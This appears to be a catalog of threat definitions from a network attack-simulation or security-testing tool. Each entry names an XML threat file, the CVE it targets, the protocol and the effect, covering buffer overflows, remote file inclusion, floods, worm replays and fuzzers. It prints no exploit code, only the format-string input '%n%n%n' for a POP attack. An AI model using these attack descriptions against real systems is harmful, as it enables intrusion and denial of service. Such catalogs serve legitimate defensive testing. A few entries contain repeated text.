Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to a double-free condition when processing malicious script that manipulates the history object. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0552
Threat Package:	Standard
Threat File Name:	FSC20110210-01_HP_OpenView_Network_Node_Manager_ovutil_dll_stringToSeconds_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovutil.dll stringToSeconds Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the <i>stringToSeconds</i> function defined in the ovutil.dll when processing crafted HTTP request parameters. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the jovgraph.exe CGI program on a target server, potentially causing arbitrary code to be injected and executed within the security context of the Internet Guest Account.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0262
Threat File Name:	pop_format.xml
Executive Description:	POP Format String Attack
Detailed Description:	This generic threat sends a format string attack against an POP server. A format string attack attempts to crash the service by causing the service to write to out of bounds memory by sending the format string %n%n%n.
Protocol Type:	POP3
Threat Package:	Standard
Threat File Name:	xoops_wiwiMod_rfi_IPv6.xml
Executive Description:	XOOPS Module WiwiMod v0.4 (spaw_root) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WiwiMod is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3289
Threat Package:	Standard
Threat File Name:	FSC20080424-11_IBM_Lotus_Expeditior_cai_URI_Handler_Command_Execution.xml
Executive Description:	IBM Lotus Expeditior cai URI Handler Command Execution
Detailed Description:	There exist a buffer overflow vulnerability in IBM Lotus Symphony and Lotus Expeditior. The vulnerability is due to improper handling of "cai:" URIs in the Lotus Expeditior rcplauncher code that the Lotus Symphony utilizes. A remote user can exploit this vulnerability by creating a specially crafted 'cai:' URI and enticing the target user to load it. Successful exploitation will allow execution of arbitrary code on the target system. The code will run with the privileges of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1965
Threat Package:	Standard

Threat File Name:	postguestbook_rfi_IPv6.xml
Executive Description:	PostGuestbook 0.6.1(tpl_pgb_moddir)Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PostGuestbook is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1372
Threat Package:	Standard
Threat File Name:	solaris_lpd_unlink_IPv6.xml
Executive Description:	Solaris LPD Arbitrary File Deletion (IPv6 Version)
Detailed Description:	This threat attempts to delete an arbitrary file off of the filesystem. This is done by sending a malicious request to the line printer daemon on Sun Solaris. This can be used to mount further attacks that take advantage of missing or corrupt files. The Unix line printer port is typically port TCP port 515. (IPv6 Version)
Protocol Type:	LPR/IPv6
CVEID:	CVE-2001-0353
OSVDB:	18650
Threat Package:	Standard
Threat File Name:	TSL20130308-04_Squid_strHdrAcptLangGetItem_Value_Denial_of_Service_IPv6.xml
Executive Description:	Squid strHdrAcptLangGetItem Value Denial of Service IPv6 version
Detailed Description:	A denial-of-service vulnerability exists in Squid proxy server. The vulnerability is due to an error when generating an error page. This causes an infinite loop. A remote attacker can exploit this vulnerability by sending a specially crafted HTTP request to a vulnerable server (that is displaying an error page). Authentication may or may not be required depending on the server's configuration. Successful exploitation will cause an infinite loop, which may result in a resource exhaustion denial of service. Tester should set variable \$destPort 3128 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2013-1839
OSVDB:	90910
Threat File Name:	fuzz-HTTP_AppendformatsToCONNECT.xml
Executive Description:	Fuzz HTTP CONNECT appended by %s
Detailed Description:	Fuzzes the Method field appending by %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	msword_pointer.xml
Executive Description:	Microsoft Word Malformed Pointer
Detailed Description:	This crash/attack causes microsoft word to attempt to write to arbitrary memory. This flaw _can_ be exploited, but requires the attacker to know the exact version of word used and the method used for opening the file. This is due to memory layout conditions as part of the exploit. This attack appears to come from a malicious webserver via the virtual server, typically over port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170515-09_HPE_Intelligent_Management_Center_dbman_BackupZipFile_Command_Injection_IPv6.xml
Executive Description:	HPE Intelligent Management Center dbman BackupZipFile Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability exists due to missing validation of user-provided parameters when handling BackupZipFile commands. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol,IPv6
CVEID:	CVE-2017-5820
Threat File Name:	linksys_same_mac.xml
Executive Description:	UDP Same Source and Dest MAC Address
Detailed Description:	This threat sends out a UDP packet with the same source and destination MAC. The source IP is random, destination IP is broadcast, dest/source ports are random. Known to cause Linksys WET11 to crash.
Protocol Type:	Ethernet
Threat Package:	Standard
Threat File Name:	RipAnnounceFlood1.xml
Executive Description:	RIPv1 Announce Flood Static Source
Detailed Description:	This threat sends out a flood of RIPv1 announcement packets, attempting to cause an overload in server resources. RIP typically listens on UDP port 520.
Protocol Type:	RIPv1
Threat Package:	Standard
Threat File Name:	TSL20131212-09 EMC_CMCNE_inmservlets_war_SoftwareFileUploadMoreInfoServlet_Directory_Traversal.xml
Executive Description:	EMC CMCNE inmservlets.war SoftwareFileUploadMoreInfoServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the SoftwareFileUploadMoreInfoServlet of inmservlets.war when processing HTTP requests. A remote unauthenticated attacker can move any files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6810
OSVDB:	101211
Threat File Name:	ms04-015dvd_IPv6.xml
Executive Description:	MS04-015 Microsoft Help DVD Help Arbitrary File Download (IPv6 Version)
Detailed Description:	This threat attempts to cause Internet Explorer to download and execute a file through a third party website without prompting the user. This can allow a malicious webpage to load any file that they wish. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6

CVEID:	CVE-2004-0199
OSVDB:	6053
Threat Package:	Standard
Threat File Name:	x86NOOPudp6_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 6 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	SYNACKflood.xml
Executive Description:	TCP SYN/ACK Flood
Detailed Description:	This threat sends out spoofed TCP packets with the SYN and ACK bits set to a user specified target and port from a user specified IP address. TCP packets with this configuration are normally sent to a client by a server in response to a SYN packet during the 3-way handshake that establishes a connection. Flooding the target with these erroneous packets may result in a denial of service. To enhance this attack the user may randomize the IP address of the source.
Protocol Type:	TCP
CVEID:	CVE-2002-1071
OSVDB:	9982
Threat Package:	Standard
Threat File Name:	FSC20081014-12_Microsoft_Host_Integration_Server_Remote_Command_Execution_Vulnerability_IPv6.xml
Executive Description:	Microsoft Host Integration Server Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	A remote command execution vulnerability exists in Microsoft Host Integration Server. The vulnerability is due to a design flaw in the design of an RPC interface exposed by the server which allows remote unauthenticated users to execute arbitrary commands. Successful exploitation can result in execution of commands with System level privileges. (IPv6 Version)
Protocol Type:	KYOCERANETDEV/IPv6
CVEID:	CVE-2008-3466
Threat Package:	Standard
Threat File Name:	downstat_rfi_IPv6.xml
Executive Description:	Vmist Downstat Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that allows for arbitrary code to be executed on the affected server. Downstat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20041012-03_Microsoft_Internet_Explorer_CSS_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CSS Memory Corruption
Detailed Description:	A vulnerability exists in the way Microsoft Internet Explorer renders web pages using Cascading Style Sheets (CSS). When the vulnerable software is used to view a malicious CSS web page, a buffer may be overrun. An attacker could exploit this vulnerability to inject and execute arbitrary code on a system running the vulnerable software.
Protocol Type:	HTTP
CVEID:	CVE-2004-0842
Threat Package:	Standard
Threat File Name:	nimda14.xml
Executive Description:	Nimda Request URL 14
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ms06-070.xml
Executive Description:	Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit
Detailed Description:	This threat reproduces the ms-06-070 stack based buffer overflow via the SMB protocol. This non-netbios SMB based threat connects on port 445.
Protocol Type:	SMB
CVEID:	CVE-2006-4691
Threat Package:	Standard
Threat File Name:	TSL20150925-05_ManageEngine_OpManager_SubmitQuery_IntegrationUser_SQL_Code_Execution_IPv6.xml
Executive Description:	ManageEngine OpManager SubmitQuery IntegrationUser SQL Code Execution IPv6 version
Detailed Description:	An SQL code execution vulnerability exists in ManageEngine OpManager. This vulnerability is due to the use of hardcoded credentials and insufficient validation of request parameters in HTTP requests to the opmapi servlet. By sending crafted requests to an affected server, a remote attacker can exploit this vulnerability to execute arbitrary SQL commands with Administrator privileges which can further lead to arbitrary code execution in the security context of System.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2015-7766
Threat File Name:	subversion_getdated_IPv6.xml
Executive Description:	Subversion get-dated-rev Overflow (IPv6 Version)
Detailed Description:	This threat causes a remote overflow in the Subversion source control system. This is used to gain control of the target server. Subversion typically listens on port 3690. (IPv6 Version)
Protocol Type:	SVN/IPv6
CVEID:	CVE-2004-0397
OSVDB:	6301
Threat Package:	Standard
Threat File Name:	TSL20080725-07_RealNetworks_RealPlayer_SWF_Frame_Handling_Buffer_Overflow_IPv6.xml

Executive Description:	RealNetworks RealPlayer SWF Frame Handling Buffer Overflow [IPv6, Version]
Detailed Description:	There exists a heap buffer overflow vulnerability in the RealNetworks RealPlayer product. The vulnerability is due to a design error within the handling of frames in Shockwave Flash (SWF) files. A remote attacker can exploit this vulnerability to create a heap overflow condition in the target application. Successful exploitation could lead to arbitrary code execution with the privileges of the currently logged in user. In an attack attempt which results in successful code execution, the process flow of the vulnerable application will be diverted to attacker supplied code. The result of such an attack is entirely dependent on the purpose of the injected code. In an unsuccessful attack attempt, the affected application will terminate as a result of memory corruption.
Protocol Type:	IPv6,IMAP,HTTP,HTTPS,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2007-5400
Threat File Name:	CA_brightStor_a_bof.xml
Executive Description:	Computer Associates BrightStor ARCserve Backup MediaSVR.EXE 191 Buffer Overflow Vulnerability
Detailed Description:	This threat demonstrates the bufferoverflow vulnerability in the computer associates brightstor arcserve mediasvr.exe executable, this threat is delivered on the proprietary port 111.
Protocol Type:	Proprietary
CVEID:	CVE-2007-1785 CVE-2007-1785
Threat Package:	Standard
Threat File Name:	TSL20120612-09_Microsoft_Internet_Explorer_Center_Element_Out_of_Bounds_Array_Indexing.xml
Executive Description:	Microsoft Internet Explorer Center Element Out of Bounds Array Indexing
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to an index boundary error when handling script code which manipulates a <center> tag. This could result in memory corruption. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open an HTML document with Internet Explorer. A successful exploitation attempt would result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1523
OSVDB:	82860
Threat File Name:	tivoli_cad.xml
Executive Description:	IBM Tivoli Storage Manager 5.3 Express CAD Service Vulnerability
Detailed Description:	This threat demonstrates a stack overflow in IBM's Tivoli Storage Manager, that results in execution of arbitrary code.
Protocol Type:	Proprietary
CVEID:	CVE-2007-4880
Threat Package:	Standard
Threat File Name:	SYNRSTflood.xml
Executive Description:	TCP SYN RST Flood
Detailed Description:	This threat is executed by flooding a targeted host with TCP SYN RST packets causing the target to open connections until its resources have been exhausted, resulting in a denial of service for all legitimate users. Sending a SYN Flood with the RST flag set, will not be dropped by certain firewalls and IDSes.
Protocol Type:	TCP
CVEID:	CVE-1999-0216
OSVDB:	5854
Threat Package:	Standard
Threat File Name:	TSL20120320-01_Dell_Webcam_Software_ActiveX_Control_CrazyTalk4Native_dll_Stack_Buffer_Overflow_I_Pv6.xml
Executive Description:	Dell Webcam Software ActiveX ControlrazyTalk4Native.dll Stack Buffer Overflow(IPv6)
Detailed Description:	A stack buffer overflow exists in the Dell Webcam Software ActiveX control. The vulnerability is due to insufficient validation of the BackImage, ScriptName, ModelName and SRC properties. Overly long values of these properties can result in a stack buffer overflow. A stack buffer overflow exists in the Dell Webcam Software ActiveX control. The vulnerability is due to insufficient validation of the BackImage, ScriptName, ModelName and SRC properties. Overly long values of these properties can result in a stack buffer overflow.
Protocol Type:	IPv6_HTTP,HTTPS
CVEID:	CVE-N/A
OSVDB:	80205
Threat File Name:	safari_javascript_dos_IPv6.xml
Executive Description:	Apple Safari JavaScript Regular Expression Match Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious javascript to exploit the JavaScript implementation in Safari on Apple Mac OS X 10.4 and cause a denial of service or buffer overflow condition. Apple Safari is a web browser that typically connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6015
Threat Package:	Standard
Threat File Name:	TSL20120221-09_ASUS_Net4Switch_ipswcom_dll_ActiveX_Control_Stack_Buffer_Overflow.xml
Executive Description:	ASUS Net4Switch ipswcom.dll ActiveX Control Stack Buffer Overflow
Detailed Description:	A vulnerability has been reported in the ActiveX control ipswcom.dll, which is shipped as part of ASUS Net4Switch. The vulnerability is due to a boundary error in the Alert() and MsgBox() methods of the control. As a result of passing an overly long string to the control, a stack-based buffer overflow can be triggered. Remote attackers could exploit the vulnerability by enticing the target user to visit a malicious web page. Successful exploitation would allow arbitrary code injection and execution with the privileges of the currently logged on user. A failed attempt at code execution could terminate the browser abnormally.
Protocol Type:	HTTP,HTTPS
OSVDB:	79438

Threat File Name:	FSC20080212-31_Facebook_Photo_Uploader_ActiveX_Control_FileMask_Method_Buffer_Overflow_IPv6.xml
Executive Description:	Facebook Photo Uploader ActiveX Control FileMask Method Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the Facebook Photo Uploader ActiveX control. The flaw is due to boundary error in control's FileMask method. Remote attackers can exploit this vulnerability by persuading the target user to view a malicious web page. Successful attack could allow for arbitrary code execution with privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sendmail_header.xml
Executive Description:	Sendmail Header Processing Buffer Overflow
Detailed Description:	This threat causes a buffer overflow the header parsing component of Sendmail. This allows a remote attacker to run arbitrary shellcode code in the context of the mailserver. Sendmail is a SMTP server, and typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2002-1337
OSVDB:	4502
Threat Package:	Standard
Threat File Name:	FSC20100209-23_Microsoft_Windows_SMB_Server_Null_Pointer_Denial_Of_Service.xml
Executive Description:	Microsoft Windows SMB Server Null Pointer Denial Of Service
Detailed Description:	A denial of service vulnerability has been reported in Microsoft Windows SMB sever. The vulnerability is due to lack of input validations when handling SMB requests. Remote attackers could exploit this vulnerability by sending a specially crafted SMB request to the target server. Successful exploitation would terminate the target server abnormally and result in a Denial of Service condition.
Protocol Type:	SMB
CVEID:	CVE-2010-0022
Threat Package:	Standard
Threat File Name:	FSC20040401-01_Ethereal_EIGRP_Dissector_Buffer_Overflow.xml
Executive Description:	Ethereal EIGRP Dissector Buffer Overflow
Detailed Description:	There is a buffer overflow in the EIGRP protocol dissector within Ethereal, an open-source program used to capture and dissect network packets. It is possible for a remote attacker to execute arbitrary code in the context of the ROOT or LOCAL_SYSTEM user.
Protocol Type:	EIGRP
CVEID:	CVE-2004-0176
Threat Package:	Standard
Threat File Name:	TSL20150708-02_ISC_BIND_DNSSEC_Validation_Denial_of_Service.xml
Executive Description:	ISC BIND DNSSEC Validation Denial of Service
Detailed Description:	A denial of service vulnerability exists in ISC BIND. The vulnerability is due to an error during DNSSEC validation. A remote attacker can exploit this vulnerability by sending crafted queries under certain circumstances. Successful exploitation will result in a denial of service condition. Tester should set the variable \$destPort to 53 before test.
Protocol Type:	DNS
CVEID:	CVE-2015-4620
Threat File Name:	cisco_ip_phone_dos.xml
Executive Description:	Cisco IP Phone Denial of Service
Detailed Description:	This threat causes a denial of service on Cisco IP Phones by requesting a high streaming statistic number. This is done by sending a HTTP GET request to port 80 on the phone.
Protocol Type:	HTTP
CVEID:	CVE-2002-0882
OSVDB:	14855
Threat Package:	Standard
Threat File Name:	TSL20140715-12_HP_Intelligent_Management_Center_FaultDownloadServlet_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center FaultDownloadServlet Information Disclosure.
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to a lack of authentication and insufficient input validation when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the file contents of arbitrary files on a target system. Tester needs to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2620
OSVDB:	109170
Threat File Name:	TSL20150414-30_Microsoft_Internet_Explorer_CVE_2015-1667_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1667 Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-1667
OSVDB:	120621
Threat File Name:	TSL20150731-04_Dell_NetVault_Backup_Denial_of_Service_IPv6.xml
Executive Description:	Dell NetVault Backup Denial of Service IPv6 version
Detailed Description:	A denial of service vulnerability has been reported in Dell NetVault Backup. The vulnerability is due to an assertion failure when processing specially crafted data sent to TCP port 20031. A remote unauthenticated attacker can exploit this vulnerability to cause a denial of service condition on the target system.
Protocol Type:	Dell NetVault nvpmgr Protocol.IPv6
CVEID:	CVE-2015-5696

Threat File Name:	burncms_cmi_c.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities
Detailed Description:	This threat demonstrates a remote file inclusion flaw against connect.php's root parameter. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20100330-03_Microsoft_Internet_Explorer_HTML_Rendering_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Rendering Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way that Internet Explorer accesses an object that has been deleted. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0807
Threat Package:	Standard
Threat File Name:	santyb4.xml
Executive Description:	Santy.B phpBB worm 4
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	etherealSocks.xml
Executive Description:	Ethereal SOCKS Format String Attack
Detailed Description:	This is a format string attack targeted at the SOCKS dissector for the popular sniffing package Ethereal. This can cause remote code to be executed on the machine running the sniffer (which typically runs as root). This threat is a client attack that comes from the virtual server.
Protocol Type:	SOCKS
CVEID:	CVE-2003-0927
OSVDB:	2752
Threat Package:	Standard
Threat File Name:	nachiB.xml
Executive Description:	Nachi.B WebDav Attack
Detailed Description:	This threat is a portion of the Nachi.B worm. This portion mimics the WebDav portion of the worm, which exploits a flaw in IIS on Microsoft Windows.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ms03-032_IPv6.xml
Executive Description:	MS03-032 Object Data Command Execution (IPv6 Version)
Detailed Description:	This threat causes command execution through a malicious object file using wsh. It represents the ability to bypass security restrictions on Internet Explorer in order to gain control of a user's computer. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0838
OSVDB:	7872
Threat Package:	Standard
Threat File Name:	FSC20081209-09_Microsoft_Word_dpcallout_RTF_Control_Word_Handling_Buffer_Overflow.xml
Executive Description:	Microsoft Word dpcallout RTF Control Word Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Word products. The flaw is due to an logic error when processing RTF documents that contain unexpected control words following a dpcallout control word. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RTF file. Successful exploitation can lead to arbitrary code execution within the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, affected product will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-4028
Threat Package:	Standard
Threat File Name:	tagger_rfi.xml
Executive Description:	Tagger LE Tags.PHP Remote File Include Vulnerability Tagger LE Tags.PHP Remote File Include Vulnerability Tagger LE Tags.PHP Remote File Include Vulnerability Tagger LE Tags.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Tagger LE is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070911-11_Microsoft_Agent_Crafted_URL_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Agent Crafted URL Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows Agent application. The flaw is due to wrongfully copying an overly large string to a fixed-size stack buffer within the code of agentdvp.dll Dynamic Link Library. By persuading the target user to open a malicious web page, an attacker may execute arbitrary code on the target system within the privileges of the currently logged on user.
Protocol Type:	
CVEID:	CVE-2007-3040
Threat Package:	Standard
Threat File Name:	ademco_activex_bof_IPv6.xml

Executive Description:	Ademco ATNBaseLoader100 ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Ademco ATNBaseLoader100 ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130912-09_HP_ProCurve_Manager_SNAC_GetDomainControllerServlet_Policy_Bypass.xml
Executive Description:	HP ProCurve Manager SNAC GetDomainControllerServlet Policy Bypass
Detailed Description:	A policy bypass vulnerability exists in HP ProCurve Manager SNAC. The vulnerability is due to a design weakness in the GetDomainControllerServlet class. A remote attacker could exploit the vulnerability by sending specially crafted data to a vulnerable version of the software. Successful exploitation could result in authentication bypass.
Protocol Type:	HTTPS
Threat File Name:	FSC20060518-04_Apple_QuickTime_udta_Atom_Buffer_Overflow.xml
Executive Description:	Apple QuickTime udta Atom Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Apple QuickTime. The flaw is caused by insufficient checks imposed on the value that defines the size of a udta Atom in a MOV file. This may lead to a heap buffer overflow, which may be exploited by an attacker to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1460
Threat Package:	Standard
Threat File Name:	FSC20100810-11_Microsoft_Windows_SMB_Pool_Overflow_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows SMB Pool Overflow Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Server Message Block (SMB) protocol service. The vulnerability is due to improper input validation of fields supplied in an SMB request by the Microsoft SMB implementation. This vulnerability may be exploited by remote unauthenticated attackers to execute arbitrary code on the target system. In situations where code execution is successful the injected code will run within the security context of the SYSTEM user, leading to a complete compromise of the target system.
Protocol Type:	SMB
CVEID:	CVE-2010-2550
Threat Package:	Standard
Threat File Name:	TSL20150226-01_Persistent_Systems_Radia_Client_Automation_Command_Execution_IPv6.xml
Executive Description:	Persistent Systems Radia Client Automation Command Execution IPv6 version.
Detailed Description:	A command execution vulnerability exists in Persistent Systems Radia Client Automation. The vulnerability is due to missing authentication while processing requests to the radexecd process. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the affected system. Successful exploitation could allow execution of arbitrary commands with SYSTEM privileges. Tester should set variable \$destPort to 3465 before test.
Protocol Type:	TCP.IPV6
CVEID:	CVE-2015-1497
OSVDB:	118382
Threat File Name:	lupper7_IPv6.xml
Executive Description:	Lupper Worm 7 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20140115-01_SpringSource_Spring_Framework_SourceHttpMessageConverter_XXE_Information_Disclosure.xml
Executive Description:	SpringSource Spring Framework SourceHttpMessageConverter XXE Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in SpringSource Spring Framework. The vulnerability is due to incorrectly configured XML parsing in the MVC's SourceHttpMessageConverter, which accepts XML external entities from untrusted sources. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in the disclosure of information from arbitrary files available in the security context of the server application.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-6429
OSVDB:	102167
Threat File Name:	FSC20080306-13_Sun_Java_Web_Start_Charset_Encoding_Stack_Buffer_Overflow.xml
Executive Description:	Sun Java Web Start Charset Encoding Stack Buffer Overflow

Detailed Description: There exists a stack buffer overflow vulnerability in Sun Java Web Start. The vulnerability is due to improper bounds checking while handling XML based JNLP files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted JNLP file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the application used to open the document will terminate abnormally. Note that depending on the length of the provided string, the following Java exception will be announced by the application when the value of the encoding attribute is set to an improper string.

```
java.io.UnsupportedEncodingException: <the-bad-string>
at java.lang.StringCoding.decode(Unknown Source)
at java.lang.String.<init>(Unknown Source)
at com.sun.deploy.xml.XMLEncoding.decodeXML(Unknown Source)
at com.sun.javaws.jnl.XMLFormat.parse(Unknown Source)
at com.sun.javaws.jnl.LaunchDescFactory.buildDescriptor(Unknown Source)
at com.sun.javaws.jnl.LaunchDescFactory.buildDescriptor(Unknown Source)
at com.sun.javaws.jnl.LaunchDescFactory.buildDescriptor(Unknown Source)
at com.sun.javaws.Main.launchApp(Unknown Source)
at com.sun.javaws.Main.continueInSecureThread(Unknown Source)
at com.sun.javaws.Main$1.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
```

Protocol Type: HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
 CVEID: [CVE-2008-1188](#)
 Threat Package: Standard

Threat File Name: powerpointviewer_ocx_dos_IPv6.xml
 Executive Description: PowerPoint Viewer OCX 3.2 (ActiveX Control) Denial of Service Exploit (IPv6 Version)
 Detailed Description: This threat executes a denial of service against the powerpoint viewer OCX by setting the OpenWebFile argument to an excessively long value. This threat is delivered via HTTP port 80. (IPv6 Version)
 Protocol Type: HTTP/IPv6
 Threat Package: Standard

Threat File Name: TSL20170706-02_Microsoft_Windows_Search_Heap_Buffer_Overflow_IPv6.xml
 Executive Description: Microsoft Windows Search Heap Buffer Overflow (IPv6 Version)
 Detailed Description: A heap buffer overflow vulnerability has been reported in the Windows Search service of Microsoft Windows. The vulnerability is due to improper handling of objects in memory. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation results in arbitrary code execution under the context of SYSTEM.
 Protocol Type: SMB/CIFS,IPv6
 CVEID: [CVE-2017-8543](#)

Threat File Name: FSC20080228-17_Symantec_Backup_Exec_for_Windows_Server_Scheduler_ActiveX_Control_Buffer_Overflow_IPv6.xml
 Executive Description: Symantec Backup Exec for Windows Server Scheduler ActiveX Control Buffer Overflow (IPv6 Version)
 Detailed Description: There exists a buffer overflow vulnerability in the Symantec Backup Exec for Windows Servers (BEWS). The vulnerability is due to insufficient boundary checks in methods exposed by an ActiveX control of the Scheduler component. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation would allow code execution in the security context of the currently logged-in user. (IPv6 Version)
 Protocol Type: HTTP/IPv6
 CVEID: [CVE-2007-6016](#)
 Threat Package: Standard

Threat File Name: fuzz-TFTP_RandstringFilename_WRQ_MAIL.xml
 Executive Description: TFTP Fuzzer fuzz-TFTP_RandstringFilename_WRQ_MAIL.xml
